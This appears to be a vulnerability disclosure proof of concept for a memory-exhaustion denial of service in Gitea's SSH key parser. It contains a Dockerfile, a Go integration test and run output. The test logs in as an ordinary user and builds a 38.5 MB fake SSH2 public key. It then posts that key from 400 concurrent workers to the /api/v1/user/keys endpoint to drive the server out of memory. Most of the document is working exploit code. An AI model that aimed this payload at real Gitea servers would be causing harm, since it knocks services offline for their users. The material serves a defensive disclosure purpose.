Gitea SSH Key Parser Denial of Service

PoC

To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:

poc/Dockerfile

FROM golang:1.26-alpine AS builder

RUN apk add --no-cache git build-base

WORKDIR /gitea

# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download

# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .

# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
      -o /integration.test \
      gitea.dev/tests/integration

# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22

# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git

COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea

RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea

WORKDIR /gitea

USER poc

ENTRYPOINT ["/integration.test", \
            "-test.run", "TestDoSSSHKeyParserOOM", \
            "-test.v", \
            "-test.timeout", "600s"]

tests/integration/poc_dos_test.go

package integration

import (
	"fmt"
	"runtime"
	"runtime/debug"
	"strings"
	"sync"
	"sync/atomic"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	api "gitea.dev/modules/structs"
	"gitea.dev/tests"
)

func TestDoSSSHKeyParserOOM(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Raise the GC trigger so intermediate strings accumulate faster,
	// matching realistic server behaviour under sustained allocation load.
	debug.SetGCPercent(400)

	// Log in as an ordinary user — no special privileges needed.
	session := loginUser(t, "user1")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)

	const (
		numLines     = 400_000
		charsPerLine = 100
		numWorkers   = 400
	)

	var sb strings.Builder
	sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
	sb.WriteString("Comment: dos\n")
	line := strings.Repeat("a", charsPerLine) + "\n"
	for i := 0; i < numLines; i++ {
		sb.WriteString(line)
	}
	sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
	payload := sb.String()

	peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
	t.Logf("payload=%.1f MB  workers=%d  peak_theory=%.1f GB",
		float64(len(payload))/(1<<20), numWorkers, peakGB)

	// Each goroutine marshals its own JSON body. The bytes live in req.Body
	// for the entire duration of MakeRequest, so numWorkers concurrent
	// goroutines hold numWorkers × payload_size bytes simultaneously.
	// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
	var (
		wg    sync.WaitGroup
		done  atomic.Int64
		ready = make(chan struct{})
		start = time.Now()
	)

	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go func(id int) {
			defer func() { done.Add(1); wg.Done() }()
			<-ready

			req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
				Title: fmt.Sprintf("dos-%d", id),
				Key:   payload,
			}).AddTokenAuth(token)

			MakeRequest(t, req, NoExpectedStatus)
		}(i)
	}

	go func() {
		var ms runtime.MemStats
		ticker := time.NewTicker(5 * time.Second)
		defer ticker.Stop()
		for range ticker.C {
			runtime.ReadMemStats(&ms)
			t.Logf("[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB",
				time.Since(start).Seconds(), done.Load(), numWorkers,
				float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
		}
	}()

	close(ready)
	wg.Wait()
	t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
		time.Since(start).Seconds())
}

When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:

docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc

Which prints out:

=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB

... demonstrating high memory consumption. On my end, memory is consumed within 1 second.